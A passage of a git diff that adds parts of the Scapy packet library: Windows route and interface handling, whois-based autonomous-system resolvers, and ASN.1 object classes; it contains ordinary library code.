+            return None
+        raise
+
+def dev_from_pcapname(pcap_name):
+    """Return libdnet/Scapy device name for given pypcap device name"""
+    return IFACES.dev_from_pcapname(pcap_name)
+
+def dev_from_index(if_index):
+    """Return Windows adapter name for given Windows interface index"""
+    return IFACES.dev_from_index(if_index)
+    
+def show_interfaces(resolve_mac=True):
+    """Print list of available network interfaces"""
+    return IFACES.show(resolve_mac)
+
+_orig_open_pcap = pcapdnet.open_pcap
+pcapdnet.open_pcap = lambda iface,*args,**kargs: _orig_open_pcap(pcapname(iface),*args,**kargs)
+
+get_if_raw_hwaddr = pcapdnet.get_if_raw_hwaddr = lambda iface, *args, **kargs: (
+    ARPHDR_ETHER, mac2str(IFACES.dev_from_pcapname(pcapname(iface)).mac)
+)
+
+def _read_routes_xp():
+    # The InterfaceIndex in Win32_IP4RouteTable does not match the
+    # InterfaceIndex in Win32_NetworkAdapter under some platforms
+    # (namely Windows XP): let's try an IP association
+    routes = []
+    partial_routes = []
+    # map local IP addresses to interfaces
+    local_addresses = {iface.ip: iface for iface in six.itervalues(IFACES)}
+    iface_indexes = {}
+    for line in exec_query(['Get-WmiObject', 'Win32_IP4RouteTable'],
+                           ['Name', 'Mask', 'NextHop', 'InterfaceIndex', 'Metric1']):
+        if line[2] in local_addresses:
+            iface = local_addresses[line[2]]
+            # This gives us an association InterfaceIndex <-> interface
+            iface_indexes[line[3]] = iface
+            routes.append((atol(line[0]), atol(line[1]), "0.0.0.0", iface,
+                           iface.ip, int(line[4])))
+        else:
+            partial_routes.append((atol(line[0]), atol(line[1]), line[2],
+                                   line[3], int(line[4])))
+    for dst, mask, gw, ifidx, metric in partial_routes:
+        if ifidx in iface_indexes:
+            iface = iface_indexes[ifidx]
+            routes.append((dst, mask, gw, iface, iface.ip, metric))
+    return routes
+
+def _read_routes_7():
+    routes=[]
+    for line in exec_query(['Get-WmiObject', 'Win32_IP4RouteTable'],
+                           ['Name', 'Mask', 'NextHop', 'InterfaceIndex', 'Metric1']):
+        try:
+            iface = dev_from_index(line[3])
+            ip = "127.0.0.1" if line[3] == "1" else iface.ip # Force loopback on iface 1
+            routes.append((atol(line[0]), atol(line[1]), line[2], iface, ip, int(line[4])))
+        except ValueError:
+            continue
+    return routes
+        
+def read_routes():
+    routes = []
+    if not conf.prog.os_access:
+        return routes
+    release = platform.release()
+    try:
+        if is_new_release():
+            routes = _read_routes_post2008()
+        elif release == "XP":
+            routes = _read_routes_xp()
+        else:
+            routes = _read_routes_7()
+    except Exception as e:    
+        warning("Error building scapy IPv4 routing table : %s", e, onlyOnce=True)
+    else:
+        if not routes:
+            warning("No default IPv4 routes found. Your Windows release may no be supported and you have to enter your routes manually", onlyOnce=True)
+    return routes
+
+def _get_metrics(ipv6=False):
+    """Returns a dict containing all IPv4 or IPv6 interfaces' metric,
+    ordered by their interface index.
+    """
+    query_cmd = "netsh interface " + ("ipv6" if ipv6 else "ipv4") + " show interfaces level=verbose"
+    stdout = POWERSHELL_PROCESS.query([query_cmd])
+    res = {}
+    _buffer = []
+    _pattern = re.compile(".*:\s+(\d+)")
+    for _line in stdout:
+        if not _line.strip() and len(_buffer) > 0:
+            if_index = re.search(_pattern, _buffer[3]).group(1)
+            if_metric = int(re.search(_pattern, _buffer[5]).group(1))
+            res[if_index] = if_metric
+            _buffer = []
+        else:
+            _buffer.append(_line)
+    return res
+
+def _read_routes_post2008():
+    routes = []
+    if4_metrics = None
+    # This works only starting from Windows 8/2012 and up. For older Windows another solution is needed
+    # Get-NetRoute -AddressFamily IPV4 | select ifIndex, DestinationPrefix, NextHop, RouteMetric, InterfaceMetric | fl
+    for line in exec_query(['Get-NetRoute', '-AddressFamily IPV4'], ['ifIndex', 'DestinationPrefix', 'NextHop', 'RouteMetric', 'InterfaceMetric']):
+        try:
+            iface = dev_from_index(line[0])
+            if iface.ip == "0.0.0.0":
+                continue
+        except:
+            continue
+        # try:
+        #     intf = pcapdnet.dnet.intf().get_dst(pcapdnet.dnet.addr(type=2, addrtxt=dest))
+        # except OSError:
+        #     log_loading.warning("Building Scapy's routing table: Couldn't get outgoing interface for destination %s", dest)
+        #     continue
+        dest, mask = line[1].split('/')
+        ip = "127.0.0.1" if line[0] == "1" else iface.ip # Force loopback on iface 1
+        if not line[4].strip():  # InterfaceMetric is not available. Load it from netsh
+            if not if4_metrics:
+                 if4_metrics = _get_metrics()
+            metric = int(line[3]) + if4_metrics.get(iface.win_index, 0)  # RouteMetric + InterfaceMetric
+        else:
+            metric = int(line[3]) + int(line[4])  # RouteMetric + InterfaceMetric
+        routes.append((atol(dest), itom(int(mask)),
+                       line[2], iface, ip, metric))
+    return routes
+
+############
+### IPv6 ###
+############
+
+def in6_getifaddr():
+    """
+    Returns all IPv6 addresses found on the computer
+    """
+    ifaddrs = []
+    for ifaddr in in6_getifaddr_raw():
+        try:
+            ifaddrs.append((ifaddr[0], ifaddr[1], dev_from_pcapname(ifaddr[2])))
+        except ValueError:
+            pass
+    # Appends Npcap loopback if available
+    if conf.use_npcap and scapy.consts.LOOPBACK_INTERFACE:
+        ifaddrs.append(("::1", 0, scapy.consts.LOOPBACK_INTERFACE))
+    return ifaddrs
+
+def _append_route6(routes, dpref, dp, nh, iface, lifaddr, metric):
+    cset = [] # candidate set (possible source addresses)
+    if iface.name == scapy.consts.LOOPBACK_NAME:
+        if dpref == '::':
+            return
+        cset = ['::1']
+    else:
+        devaddrs = (x for x in lifaddr if x[2] == iface)
+        cset = construct_source_candidate_set(dpref, dp, devaddrs)
+    if not cset:
+        return
+    # APPEND (DESTINATION, NETMASK, NEXT HOP, IFACE, CANDIDATS, METRIC)
+    routes.append((dpref, dp, nh, iface, cset, metric))
+
+def _read_routes6_post2008():
+    routes6 = []
+    # This works only starting from Windows 8/2012 and up. For older Windows another solution is needed
+    # Get-NetRoute -AddressFamily IPV6 | select ifIndex, DestinationPrefix, NextHop | fl
+    lifaddr = in6_getifaddr()
+    for line in exec_query(['Get-NetRoute', '-AddressFamily IPV6'], ['ifIndex', 'DestinationPrefix', 'NextHop', 'RouteMetric', 'InterfaceMetric']):
+        try:
+            if_index = line[0]
+            iface = dev_from_index(if_index)
+        except:
+            continue
+
+        dpref, dp = line[1].split('/')
+        dp = int(dp)
+        nh = line[2]
+        metric = int(line[3])+int(line[4])
+
+        _append_route6(routes6, dpref, dp, nh, iface, lifaddr, metric)
+    return routes6
+
+def _read_routes6_7():
+    # Not supported in powershell, we have to use netsh
+    routes = []
+    query_cmd = "netsh interface ipv6 show route level=verbose"
+    stdout = POWERSHELL_PROCESS.query([query_cmd])
+    lifaddr = in6_getifaddr()
+    if6_metrics = _get_metrics(ipv6=True)
+    # Define regexes
+    r_int = [".*:\s+(\d+)"]
+    r_all = ["(.*)"]
+    r_ipv6 = [".*:\s+([A-z|0-9|:]+(\/\d+)?)"]
+    # Build regex list for each object
+    regex_list = r_ipv6*2 + r_int + r_all*3 + r_int + r_all*3
+    current_object =  []
+    index = 0
+    for l in stdout:
+        if not l.strip():
+            if not current_object:
+                continue
+            
+            if len(current_object) == len(regex_list):
+                try:
+                    if_index = current_object[2]
+                    iface = dev_from_index(if_index)
+                except:
+                    current_object = []
+                    index = 0
+                    continue
+                _ip = current_object[0].split("/")
+                dpref = _ip[0]
+                dp = int(_ip[1])
+                _match = re.search(r_ipv6[0], current_object[3])
+                nh = "::"
+                if _match: # Detect if Next Hop is specified (if not, it will be the IFName)
+                    _nhg1 = _match.group(1)
+                    nh = _nhg1 if re.match(".*:.*:.*", _nhg1) else "::"
+                metric = int(current_object[6]) + if6_metrics.get(if_index, 0)
+                _append_route6(routes, dpref, dp, nh, iface, lifaddr, metric)
+
+            # Reset current object
+            current_object = []
+            index = 0
+        else:
+            pattern = re.compile(regex_list[index])
+            match = re.search(pattern, l)
+            if match:
+                current_object.append(match.group(1))
+                index = index + 1
+    return routes
+
+def read_routes6():
+    routes6 = []
+    if not conf.prog.os_access:
+        return routes6
+    try:
+        if is_new_release():
+            routes6 = _read_routes6_post2008()
+        else:
+            routes6 = _read_routes6_7()
+    except Exception as e:    
+        warning("Error building scapy IPv6 routing table : %s", e, onlyOnce=True)
+    return routes6
+
+def get_working_if():
+    try:
+        # return the interface associated with the route with smallest
+        # mask (route by default if it exists)
+        return min(conf.route.routes, key=lambda x: x[1])[3]
+    except ValueError:
+        # no route
+        return scapy.consts.LOOPBACK_INTERFACE
+
+def _get_valid_guid():
+    if scapy.consts.LOOPBACK_INTERFACE:
+        return scapy.consts.LOOPBACK_INTERFACE.guid
+    else:
+        for i in six.itervalues(IFACES):
+            if not i.is_invalid():
+                return i.guid
+
+def route_add_loopback(routes=None, ipv6=False, iflist=None):
+    """Add a route to 127.0.0.1 and ::1 to simplify unit tests on Windows"""
+    if not WINDOWS:
+        warning("Not available")
+        return
+    warning("This will completly mess up the routes. Testing purpose only !")
+    # Add only if some adpaters already exist
+    if ipv6:
+        if not conf.route6.routes:
+            return
+    else:
+        if not conf.route.routes:
+            return
+    data = {
+        'name': scapy.consts.LOOPBACK_NAME,
+        'description': "Loopback",
+        'win_index': -1,
+        'guid': _get_valid_guid(),
+        'invalid': False,
+        'mac': '00:00:00:00:00:00',
+    }
+    data['pcap_name'] = six.text_type("\\Device\\NPF_" + data['guid'])
+    adapter = NetworkInterface(data)
+    adapter.ip = "127.0.0.1"
+    if iflist:
+        iflist.append(adapter.pcap_name)
+        return
+    # Remove all LOOPBACK_NAME routes
+    for route in list(conf.route.routes):
+        iface = route[3]
+        if iface.name == scapy.consts.LOOPBACK_NAME:
+            conf.route.routes.remove(route)
+    # Remove LOOPBACK_NAME interface
+    for devname, iface in list(IFACES.items()):
+        if iface.name == scapy.consts.LOOPBACK_NAME:
+            IFACES.pop(devname)
+    # Inject interface
+    IFACES["{0XX00000-X000-0X0X-X00X-00XXXX000XXX}"] = adapter
+    scapy.consts.LOOPBACK_INTERFACE = adapter
+    if isinstance(conf.iface, NetworkInterface):
+        if conf.iface.name == LOOPBACK_NAME:
+            conf.iface = adapter
+    if isinstance(conf.iface6, NetworkInterface):
+        if conf.iface6.name == LOOPBACK_NAME:
+            conf.iface6 = adapter
+    # Build the packed network addresses
+    loop_net = struct.unpack("!I", socket.inet_aton("127.0.0.0"))[0]
+    loop_mask = struct.unpack("!I", socket.inet_aton("255.0.0.0"))[0]
+    # Build the fake routes
+    loopback_route = (loop_net, loop_mask, "0.0.0.0", adapter, "127.0.0.1", 1)
+    loopback_route6 = ('::1', 128, '::', adapter, ["::1"], 1)
+    loopback_route6_custom = ("fe80::", 128, "::", adapter, ["::1"], 1)
+    if routes == None:
+        # Injection
+        conf.route6.routes.append(loopback_route6)
+        conf.route6.routes.append(loopback_route6_custom)
+        conf.route.routes.append(loopback_route)
+        # Flush the caches
+        conf.route6.invalidate_cache()
+        conf.route.invalidate_cache()
+    else:
+        if ipv6:
+            routes.append(loopback_route6)
+            routes.append(loopback_route6_custom)
+        else:
+            routes.append(loopback_route)
+
+
+if not conf.use_winpcapy:
+
+    class NotAvailableSocket(SuperSocket):
+        desc = "wpcap.dll missing"
+        def __init__(self, *args, **kargs):
+            raise RuntimeError("Sniffing and sending packets is not available: "
+                               "winpcap is not installed")
+
+    conf.L2socket = NotAvailableSocket
+    conf.L2listen = NotAvailableSocket
+    conf.L3socket = NotAvailableSocket
diff --git a/scapy/as_resolvers.py b/scapy/as_resolvers.py
new file mode 100644
index 0000000..fa33a6f
--- /dev/null
+++ b/scapy/as_resolvers.py
@@ -0,0 +1,131 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Resolve Autonomous Systems (AS).
+"""
+
+
+from __future__ import absolute_import
+import socket, errno
+from scapy.config import conf
+from scapy.compat import *
+
+class AS_resolver:
+    server = None
+    options = "-k" 
+    def __init__(self, server=None, port=43, options=None):
+        if server is not None:
+            self.server = server
+        self.port = port
+        if options is not None:
+            self.options = options
+        
+    def _start(self):
+        self.s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        self.s.connect((self.server,self.port))
+        if self.options:
+            self.s.send(self.options.encode("utf8")+b"\n")
+            self.s.recv(8192)
+    def _stop(self):
+        self.s.close()
+        
+    def _parse_whois(self, txt):
+        asn,desc = None,b""
+        for l in txt.splitlines():
+            if not asn and l.startswith(b"origin:"):
+                asn = plain_str(l[7:].strip())
+            if l.startswith(b"descr:"):
+                if desc:
+                    desc += r"\n"
+                desc += l[6:].strip()
+            if asn is not None and desc:
+                break
+        return asn, plain_str(desc.strip())
+
+    def _resolve_one(self, ip):
+        self.s.send(("%s\n" % ip).encode("utf8"))
+        x = b""
+        while not (b"%" in x  or b"source" in x):
+            x += self.s.recv(8192)
+        asn, desc = self._parse_whois(x)
+        return ip,asn,desc
+    def resolve(self, *ips):
+        self._start()
+        ret = []
+        for ip in ips:
+            ip,asn,desc = self._resolve_one(ip)
+            if asn is not None:
+                ret.append((ip,asn,desc))
+        self._stop()
+        return ret
+
+class AS_resolver_riswhois(AS_resolver):
+    server = "riswhois.ripe.net"
+    options = "-k -M -1"
+
+
+class AS_resolver_radb(AS_resolver):
+    server = "whois.ra.net"
+    options = "-k -M"
+    
+
+class AS_resolver_cymru(AS_resolver):
+    server = "whois.cymru.com"
+    options = None
+    def resolve(self, *ips):
+        s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        s.connect((self.server,self.port))
+        s.send(b"begin\r\n"+b"\r\n".join(ip.encode("utf8") for ip in ips)+b"\r\nend\r\n")
+        r = b""
+        while True:
+            l = s.recv(8192)
+            if l == b"":
+                break
+            r += l
+        s.close()
+
+        return self.parse(r)
+
+    def parse(self, data):
+        """Parse bulk cymru data"""
+
+        ASNlist = []
+        for l in data.splitlines()[1:]:
+            l = plain_str(l)
+            if "|" not in l:
+                continue
+            asn, ip, desc = [elt.strip() for elt in l.split('|')]
+            if asn == "NA":
+                continue
+            asn = "AS%s" % asn
+            ASNlist.append((ip, asn, desc))
+        return ASNlist
+
+class AS_resolver_multi(AS_resolver):
+    resolvers_list = ( AS_resolver_riswhois(),AS_resolver_radb(),AS_resolver_cymru() )
+    def __init__(self, *reslist):
+        if reslist:
+            self.resolvers_list = reslist
+    def resolve(self, *ips):
+        todo = ips
+        ret = []
+        for ASres in self.resolvers_list:
+            try:
+                res = ASres.resolve(*todo)
+            except socket.error as e:
+                if e[0] in [errno.ECONNREFUSED, errno.ETIMEDOUT, errno.ECONNRESET]:
+                    continue
+            resolved = [ ip for ip,asn,desc in res ]
+            todo = [ ip for ip in todo if ip not in resolved ]
+            ret += res
+            if len(todo) == 0:
+                break
+        if len(ips) != len(ret):
+            raise RuntimeError("Could not contact whois providers")
+        return ret
+
+
+conf.AS_resolver = AS_resolver_multi()
diff --git a/scapy/asn1/__init__.py b/scapy/asn1/__init__.py
new file mode 100644
index 0000000..4827a58
--- /dev/null
+++ b/scapy/asn1/__init__.py
@@ -0,0 +1,12 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## This program is published under a GPLv2 license
+
+"""
+Package holding ASN.1 related modules.
+"""
+
+# We do not import mib.py because it is more bound to scapy and
+# less prone to be used in a standalone fashion
+__all__ = ["asn1","ber"]
diff --git a/scapy/asn1/asn1.py b/scapy/asn1/asn1.py
new file mode 100644
index 0000000..930f04c
--- /dev/null
+++ b/scapy/asn1/asn1.py
@@ -0,0 +1,460 @@
+## This file is part of Scapy
+## See http://www.secdev.org/projects/scapy for more informations
+## Copyright (C) Philippe Biondi <phil@secdev.org>
+## Modified by Maxence Tury <maxence.tury@ssi.gouv.fr>
+## This program is published under a GPLv2 license
+
+"""
+ASN.1 (Abstract Syntax Notation One)
+"""
+
+from __future__ import absolute_import
+from __future__ import print_function
+import random
+from datetime import datetime
+from scapy.config import conf
+from scapy.error import Scapy_Exception, warning
+from scapy.volatile import RandField, RandIP, GeneralizedTime
+from scapy.utils import Enum_metaclass, EnumElement, binrepr
+from scapy.compat import plain_str, chb, raw, orb
+import scapy.modules.six as six
+from scapy.modules.six.moves import range
+
+class RandASN1Object(RandField):
+    def __init__(self, objlist=None):
+        self.objlist = [
+            x._asn1_obj
+            for x in six.itervalues(ASN1_Class_UNIVERSAL.__rdict__)
+            if hasattr(x, "_asn1_obj")
+        ] if objlist is None else objlist
+        self.chars = "ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789"
+    def _fix(self, n=0):
+        o = random.choice(self.objlist)
+        if issubclass(o, ASN1_INTEGER):
+            return o(int(random.gauss(0,1000)))
+        elif issubclass(o, ASN1_IPADDRESS):
+            z = RandIP()._fix()
+            return o(z)
+        elif issubclass(o, ASN1_GENERALIZED_TIME) or issubclass(o, ASN1_UTC_TIME):
+            z = GeneralizedTime()._fix()
+            return o(z)
+        elif issubclass(o, ASN1_STRING):
+            z = int(random.expovariate(0.05)+1)
+            return o("".join(random.choice(self.chars) for _ in range(z)))
+        elif issubclass(o, ASN1_SEQUENCE) and (n < 10):
+            z = int(random.expovariate(0.08)+1)
+            return o([self.__class__(objlist=self.objlist)._fix(n + 1)
+                      for _ in range(z)])
+        return ASN1_INTEGER(int(random.gauss(0,1000)))
+
+
+##############
+#### ASN1 ####
+##############
+
+class ASN1_Error(Scapy_Exception):
+    pass
+
+class ASN1_Encoding_Error(ASN1_Error):
+    pass
+
+class ASN1_Decoding_Error(ASN1_Error):
+    pass
+
+class ASN1_BadTag_Decoding_Error(ASN1_Decoding_Error):
+    pass
+
+
+
+class ASN1Codec(EnumElement):
+    def register_stem(cls, stem):
+        cls._stem = stem
+    def dec(cls, s, context=None):
+        return cls._stem.dec(s, context=context)
+    def safedec(cls, s, context=None):
+        return cls._stem.safedec(s, context=context)
+    def get_stem(cls):
+        return cls.stem
+    
+
+class ASN1_Codecs_metaclass(Enum_metaclass):
+    element_class = ASN1Codec
+
+class ASN1_Codecs(six.with_metaclass(ASN1_Codecs_metaclass)):
+    BER = 1
+    DER = 2
+    PER = 3
+    CER = 4
+    LWER = 5
+    BACnet = 6
+    OER = 7
+    SER = 8
+    XER = 9
+
+class ASN1Tag(EnumElement):
+    def __init__(self, key, value, context=None, codec=None):
+        EnumElement.__init__(self, key, value)
+        self._context = context
+        if codec == None:
+            codec = {}
+        self._codec = codec
+    def clone(self): # /!\ not a real deep copy. self.codec is shared
+        return self.__class__(self._key, self._value, self._context, self._codec)
+    def register_asn1_object(self, asn1obj):
+        self._asn1_obj = asn1obj
+    def asn1_object(self, val):
+        if hasattr(self,"_asn1_obj"):
+            return self._asn1_obj(val)
+        raise ASN1_Error("%r does not have any assigned ASN1 object" % self)
+    def register(self, codecnum, codec):
+        self._codec[codecnum] = codec
+    def get_codec(self, codec):
+        try:
+            c = self._codec[codec]
+        except KeyError as msg:
+            raise ASN1_Error("Codec %r not found for tag %r" % (codec, self))
+        return c
+
+class ASN1_Class_metaclass(Enum_metaclass):
+    element_class = ASN1Tag
+    def __new__(cls, name, bases, dct): # XXX factorise a bit with Enum_metaclass.__new__()
+        for b in bases:
+            for k,v in six.iteritems(b.__dict__):
+                if k not in dct and isinstance(v,ASN1Tag):
+                    dct[k] = v.clone()
+
+        rdict = {}
+        for k,v in six.iteritems(dct):
+            if isinstance(v, int):
+                v = ASN1Tag(k,v) 
+                dct[k] = v
+                rdict[v] = v
+            elif isinstance(v, ASN1Tag):
+                rdict[v] = v
+        dct["__rdict__"] = rdict
+
+        cls = type.__new__(cls, name, bases, dct)
+        for v in cls.__dict__.values():
+            if isinstance(v, ASN1Tag): 
+                v.context = cls # overwrite ASN1Tag contexts, even cloned ones
+        return cls
+            
+
+class ASN1_Class(six.with_metaclass(ASN1_Class_metaclass)):
+    pass
+
+class ASN1_Class_UNIVERSAL(ASN1_Class):
+    name = "UNIVERSAL"
+    ERROR = -3
+    RAW = -2
+    NONE = -1
+    ANY = 0
+    BOOLEAN = 1
+    INTEGER = 2
+    BIT_STRING = 3
+    STRING = 4
+    NULL = 5
+    OID = 6
+    OBJECT_DESCRIPTOR = 7
+    EXTERNAL = 8
+    REAL = 9
+    ENUMERATED = 10
+    EMBEDDED_PDF = 11
+    UTF8_STRING = 12
+    RELATIVE_OID = 13
+    SEQUENCE = 16|0x20          # constructed encoding
+    SET = 17|0x20               # constructed encoding
+    NUMERIC_STRING = 18
+    PRINTABLE_STRING = 19
+    T61_STRING = 20             # aka TELETEX_STRING
+    VIDEOTEX_STRING = 21
+    IA5_STRING = 22
+    UTC_TIME = 23
+    GENERALIZED_TIME = 24
+    GRAPHIC_STRING = 25
+    ISO646_STRING = 26          # aka VISIBLE_STRING
+    GENERAL_STRING = 27
+    UNIVERSAL_STRING = 28
+    CHAR_STRING = 29
+    BMP_STRING = 30
+    IPADDRESS = 0|0x40          # application-specific encoding
+    COUNTER32 = 1|0x40          # application-specific encoding
+    GAUGE32 = 2|0x40            # application-specific encoding
+    TIME_TICKS = 3|0x40         # application-specific encoding
+
+
+class ASN1_Object_metaclass(type):
+    def __new__(cls, name, bases, dct):
+        c = super(ASN1_Object_metaclass, cls).__new__(cls, name, bases, dct)
+        try:
+            c.tag.register_asn1_object(c)
+        except:
+            warning("Error registering %r for %r" % (c.tag, c.codec))
+        return c
+
+class ASN1_Object(six.with_metaclass(ASN1_Object_metaclass)):
+    tag = ASN1_Class_UNIVERSAL.ANY
+    def __init__(self, val):
+        self.val = val
+    def enc(self, codec):
+        return self.tag.get_codec(codec).enc(self.val)
+    def __repr__(self):
+        return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.val)
+    def __str__(self):
+        return self.enc(conf.ASN1_default_codec)
+    def __bytes__(self):
+        return self.enc(conf.ASN1_default_codec)
+    def strshow(self, lvl=0):
+        return ("  "*lvl)+repr(self)+"\n"
+    def show(self, lvl=0):
+        print(self.strshow(lvl))
+    def __eq__(self, other):
+        return self.val == other
+    def __lt__(self, other):
+        return self.val < other
+    def __le__(self, other):
+        return self.val <= other
+    def __gt__(self, other):
+        return self.val > other
+    def __ge__(self, other):
+        return self.val >= other
+    def __ne__(self, other):
+        return self.val != other
+
+
+#######################
+####  ASN1 objects ####
+#######################
+
+# on the whole, we order the classes by ASN1_Class_UNIVERSAL tag value
+
+class ASN1_DECODING_ERROR(ASN1_Object):
+    tag = ASN1_Class_UNIVERSAL.ERROR
+    def __init__(self, val, exc=None):
+        ASN1_Object.__init__(self, val)
+        self.exc = exc
+    def __repr__(self):
+        return "<%s[%r]{{%r}}>" % (self.__dict__.get("name", self.__class__.__name__),
+                                   self.val, self.exc.args[0])
+    def enc(self, codec):
+        if isinstance(self.val, ASN1_Object):
+            return self.val.enc(codec)
+        return self.val
+
+class ASN1_force(ASN1_Object):
+    tag = ASN1_Class_UNIVERSAL.RAW
+    def enc(self, codec):
+        if isinstance(self.val, ASN1_Object):
+            return self.val.enc(codec)
+        return self.val
+
+class ASN1_BADTAG(ASN1_force):
+    pass
+
+class ASN1_INTEGER(ASN1_Object):
+    tag = ASN1_Class_UNIVERSAL.INTEGER
+    def __repr__(self):
+        h = hex(self.val)
+        if h[-1] == "L":
+            h = h[:-1]
+        # cut at 22 because with leading '0x', x509 serials should be < 23
+        if len(h) > 22:
+            h = h[:12] + "..." + h[-10:]
+        r = repr(self.val)
+        if len(r) > 20:
+            r = r[:10] + "..." + r[-10:]
+        return h + " <%s[%s]>" % (self.__dict__.get("name", self.__class__.__name__), r)
+
+
+class ASN1_BOOLEAN(ASN1_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.BOOLEAN
+    # BER: 0 means False, anything else means True
+    def __repr__(self):
+        return '%s %s' % (not (self.val==0), ASN1_Object.__repr__(self))
+
+
+class ASN1_BIT_STRING(ASN1_Object):
+    """
+    /!\ ASN1_BIT_STRING values are bit strings like "011101".
+    /!\ A zero-bit padded readable string is provided nonetheless,
+    /!\ which is also output when __str__ is called.
+    """
+    tag = ASN1_Class_UNIVERSAL.BIT_STRING
+    def __init__(self, val, readable=False):
+        if not readable:
+            self.val = val
+        else:
+            self.val_readable = val
+    def __setattr__(self, name, value):
+        str_value = None
+        if isinstance(value, str):
+            str_value = value
+            value = raw(value)
+        if name == "val_readable":
+            if isinstance(value, bytes):
+                val = b"".join(binrepr(orb(x)).zfill(8).encode("utf8") for x in value)
+            else:
+                val = "<invalid val_readable>"
+            super(ASN1_Object, self).__setattr__("val", val)
+            super(ASN1_Object, self).__setattr__(name, value)
+            super(ASN1_Object, self).__setattr__("unused_bits", 0)
+        elif name == "val":
+            if not str_value:
+                str_value = plain_str(value)
+            if isinstance(value, bytes):
+                if any(c for c in str_value if c not in ["0", "1"]):
+                    print("Invalid operation: 'val' is not a valid bit string.")
+                    return
+                else:
+                    if len(value) % 8 == 0:
+                        unused_bits = 0
+                    else:
+                        unused_bits = 8 - (len(value) % 8)
+                    padded_value = str_value + ("0" * unused_bits)
+                    bytes_arr = zip(*[iter(padded_value)]*8)
+                    val_readable = b"".join(chb(int("".join(x),2)) for x in bytes_arr)
+            else:
+                val_readable = "<invalid val>"
+                unused_bits = 0
+            super(ASN1_Object, self).__setattr__("val_readable", val_readable)
+            super(ASN1_Object, self).__setattr__(name, value)
+            super(ASN1_Object, self).__setattr__("unused_bits", unused_bits)
+        elif name == "unused_bits":
+            print("Invalid operation: unused_bits rewriting is not supported.")
+        else:
+            super(ASN1_Object, self).__setattr__(name, value)
+    def __repr__(self):
+        if len(self.val) <= 16:
+            v = plain_str(self.val)
+            return "<%s[%s] (%d unused bit%s)>" % (self.__dict__.get("name", self.__class__.__name__), v, self.unused_bits, "s" if self.unused_bits>1 else "")
+        else:
+            s = self.val_readable
+            if len(s) > 20:
+                s = s[:10] + b"..." + s[-10:]
+            v = plain_str(self.val)
+            return "<%s[%s] (%d unused bit%s)>" % (self.__dict__.get("name", self.__class__.__name__), v, self.unused_bits, "s" if self.unused_bits>1 else "")
+    def __str__(self):
+        return self.val_readable
+    def __bytes__(self):
+        return self.val_readable
+
+class ASN1_STRING(ASN1_Object):
+    tag = ASN1_Class_UNIVERSAL.STRING
+
+class ASN1_NULL(ASN1_Object):
+    tag = ASN1_Class_UNIVERSAL.NULL
+    def __repr__(self):
+        return ASN1_Object.__repr__(self)
+
+class ASN1_OID(ASN1_Object):
+    tag = ASN1_Class_UNIVERSAL.OID
+    def __init__(self, val):
+        val = conf.mib._oid(plain_str(val))
+        ASN1_Object.__init__(self, val)
+        self.oidname = conf.mib._oidname(val)
+    def __repr__(self):
+        return "<%s[%r]>" % (self.__dict__.get("name", self.__class__.__name__), self.oidname)
+
+class ASN1_ENUMERATED(ASN1_INTEGER):
+    tag = ASN1_Class_UNIVERSAL.ENUMERATED
+
+class ASN1_UTF8_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.UTF8_STRING
+
+class ASN1_NUMERIC_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.NUMERIC_STRING
+
+class ASN1_PRINTABLE_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.PRINTABLE_STRING
+
+class ASN1_T61_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.T61_STRING
+
+class ASN1_VIDEOTEX_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.VIDEOTEX_STRING
+
+class ASN1_IA5_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.IA5_STRING
+
+class ASN1_UTC_TIME(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.UTC_TIME
+    def __init__(self, val):
+        super(ASN1_UTC_TIME, self).__init__(val)
+    def __setattr__(self, name, value):
+        if isinstance(value, bytes):
+            value = plain_str(value)
+        if name == "val":
+            pretty_time = None
+            if (isinstance(value, str) and
+                len(value) == 13 and value[-1] == "Z"):
+                dt = datetime.strptime(value[:-1], "%y%m%d%H%M%S")
+                pretty_time = dt.strftime("%b %d %H:%M:%S %Y GMT")
+            else:
+                pretty_time = "%s [invalid utc_time]" % value
+            super(ASN1_UTC_TIME, self).__setattr__("pretty_time", pretty_time)
+            super(ASN1_UTC_TIME, self).__setattr__(name, value)
+        elif name == "pretty_time":
+            print("Invalid operation: pretty_time rewriting is not supported.")
+        else:
+            super(ASN1_UTC_TIME, self).__setattr__(name, value)
+    def __repr__(self):
+        return "%s %s" % (self.pretty_time, ASN1_STRING.__repr__(self))
+
+class ASN1_GENERALIZED_TIME(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.GENERALIZED_TIME
+    def __init__(self, val):
+        super(ASN1_GENERALIZED_TIME, self).__init__(val)
+    def __setattr__(self, name, value):
+        if isinstance(value, bytes):
+            value = plain_str(value)
+        if name == "val":
+            pretty_time = None
+            if (isinstance(value, str) and
+                len(value) == 15 and value[-1] == "Z"):
+                dt = datetime.strptime(value[:-1], "%Y%m%d%H%M%S")
+                pretty_time = dt.strftime("%b %d %H:%M:%S %Y GMT")
+            else:
+                pretty_time = "%s [invalid generalized_time]" % value
+            super(ASN1_GENERALIZED_TIME, self).__setattr__("pretty_time", pretty_time)
+            super(ASN1_GENERALIZED_TIME, self).__setattr__(name, value)
+        elif name == "pretty_time":
+            print("Invalid operation: pretty_time rewriting is not supported.")
+        else:
+            super(ASN1_GENERALIZED_TIME, self).__setattr__(name, value)
+    def __repr__(self):
+        return "%s %s" % (self.pretty_time, ASN1_STRING.__repr__(self))
+
+class ASN1_ISO646_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.ISO646_STRING
+
+class ASN1_UNIVERSAL_STRING(ASN1_STRING):
+    tag = ASN1_Class_UNIVERSAL.UNIVERSAL_STRING
+
